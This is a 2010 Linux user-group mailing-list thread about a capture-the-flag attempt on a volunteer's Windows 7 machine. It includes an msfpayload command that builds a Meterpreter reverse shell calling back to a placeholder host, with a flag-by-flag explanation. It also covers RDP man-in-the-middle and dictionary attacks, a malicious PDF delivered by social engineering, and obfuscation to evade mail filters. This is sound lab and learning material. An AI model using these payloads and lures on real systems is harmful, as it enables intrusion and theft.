Hi Judd, That was a very confusing email, I apologize (see below) On Wed, Oct 13, 2010 at 1:42 PM, Judd Pickell wrote: > Sorry, but I am a bit confused. You were or were not able to run an exploit > on his machine? Negative, none were able to exploit the Windows7 machine. It was a "basic out of the box build" according to Harold. (there is NO SUBSTITUTE for experience). In a real world example, an attacker also would have properly attached an RDP exploit (which was not even identified by Google's virus attachment scrapers) which would have instantly provided us with FLAG JOY. For real fun So, once again, Linux installed "out of the box" opening an insecure pdf would create the same effect as Windows7. Linux installed per defaults, running on an untrusted network, with secure passwords and comparable firewalling is equal, is it not? HowTo Meterpreter//Metasploit PDF: "output.exe" was either created from compiling a payload using template.c in the Metasploit folder or by using the following CLI: Code: msfpayload windows/meterpreter/reverse_tcp LHOST=A.B.C.D LPORT=8080 R | \ msfencode -b '' -t exe -o meterpreter.exe Here's what it does: *Part 1* 1. msfpayload calls a payload, in this case meterpreter (reverse tcp). 2. LHOST (listening host) is set to A.B.C.D (IP-address, I think DNS hostnames are supported too.) 3. LPORT (listening port) is set to 8080, set this to anything above 1024 if you're on Linux since anything below requires root privileges. 4. R means RAW (pure unreadable binary machine-code). 5. | means pipe the output and \ is used because msfencode is on a new line. *Part 2* 1. msfencode is used for encoding. 2. -b means bad characters, in this case there's none. (this is almost always needed in real exploitation) 3. -t means type and since "exe" without quotes is written, the type is set to exe of course. 4. -o means output, cause we need to send the output somewhere, in this case: meterpreter.exe which could also be output.exe etc. *Short explanation of the pipe progress:* First msfpayload creates the payload by using an easily customizeable shell- code with all the right ARGS (arguments) that you need, then it is sent to a pipe which sends all the binary / RAW output to msfencode, which encodes this and compiles this into a valid exe file. *With msfencode it is also possible to use: * -a (the architecture to use, irrelevant in this case) -e (the encoder to use, f.ex. x86/shikata_gi_nai) *With the -t switch it is possible to choose the following types:* c, elf, exe, java, perl, raw, ruby and vba Please use the: -h (help) switch or write --help or just "help" (without quotes) in Metasploit for further help since there is a lot of nice info when you use that. I also recommend that you read the nice documentation, it's really worth it. You don't have to read the developer documentation, but I think some of it was actually quite a nice read. FREE ONLINE VERSION of METASPLOIT UNLEASHED: http://www.offensive-security.com/metasploit-unleashed/ Of course, set up a virtual and unpatched Windows XP machine to play with as well! > > Sincerely, > Judd Pickell > > On Tue, Oct 12, 2010 at 7:11 PM, Lisa Kachold wrote: > >> We promised various people that we would be following up the a real blow >> by blow of our exploit of Harold Wong's Windows 7 machine. >> >> It's published over on hackfest.obnosis.com under: >> >> Home » Flags Captured October 2» CTF >> - Microsoft Powershell >> >> >> > service".> >> >> Possible ways to attach Harold Wong's Windows 7: >> >> Network port attack vector: >> Open ports: >> >> 3389 >> >> Using RDP we could do either a RDP MITM attack or a Hydra dictionary >> attack to the listening service itself. >> >> Example RDP MITM: >> >> http://www.irongeek.com/i.php?page=videos/cain-rdp-terminal-server-mitm-... >> >> Should get RDP Windows7 via MITM if possible with loose encryption in a >> real world situation where RDP traffic connections were working which we >> could arp cache poison. >> >> Just having the port open we would have to do a hydra dictionary attack, >> and Harold informed us that he used secure passwords. >> >> Therefore the only real attack vector we ever had open was social >> engineering to get him to click on an exploit delivered via insecure file >> sharing. >> >> Sending a Kaseya agent, liveperson cookie, or metasploit payload via pdf >> in mail after getting assurance of his willingness to open it by asking him >> to look at it attached to email. >> >> In the real world test Lisa Kachold delivered a pdf exploiting Adobe, but >> since Harold Wong wisely doesn't use Adobe for his pdf's, it failed. >> >> No-one crafted nor delivered a RDP "package" for email delivery, which >> would have worked best: >> http://www.gnucitizen.org/blog/remote-desktop-command-fixation-attacks/ >> >> Additionally, we might have to obfuscate, in a real world situation, code >> in our pdf, or it will not be accepted as an attachment in Gmail. If Harold >> Wong was using Microsoft Outlook directly to a MS based Mail Transport >> Authority, we have a better chance of getting our PDF accepted, depending on >> spam/virus protection. >> >> Harold Wong used a regular user desktop, without file sharing available, >> configured for the "Internet Zone" without additional firewall or virus >> checking add-ons. >> >> No flags were delivered by our team for Harold Wong.* >> So, as heretic as it might seem, this completely debugs the myth that >> "Microsoft 7 out of the box is more secure than Linux". >> >> hide everyone - here comes the fallout >> -- >> Skype: 6022393392 >> Fax: 6233211450 >> ATT: 5037544452 >> Phoenix Linux Security Team >> >> http://www.it-clowns.com >> >> *"Great things are not done by impulse but a series of small things >> brought together." -Van Gogh* >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> --------------------------------------------------- >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> To subscribe, unsubscribe, or to change your mail settings: >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > > > --------------------------------------------------- > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > To subscribe, unsubscribe, or to change your mail settings: > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Skype: 6022393392 Fax: 6233211450 ATT: 5037544452 Phoenix Linux Security Team http://www.it-clowns.com *"Great things are not done by impulse but a series of small things brought together." -Van Gogh*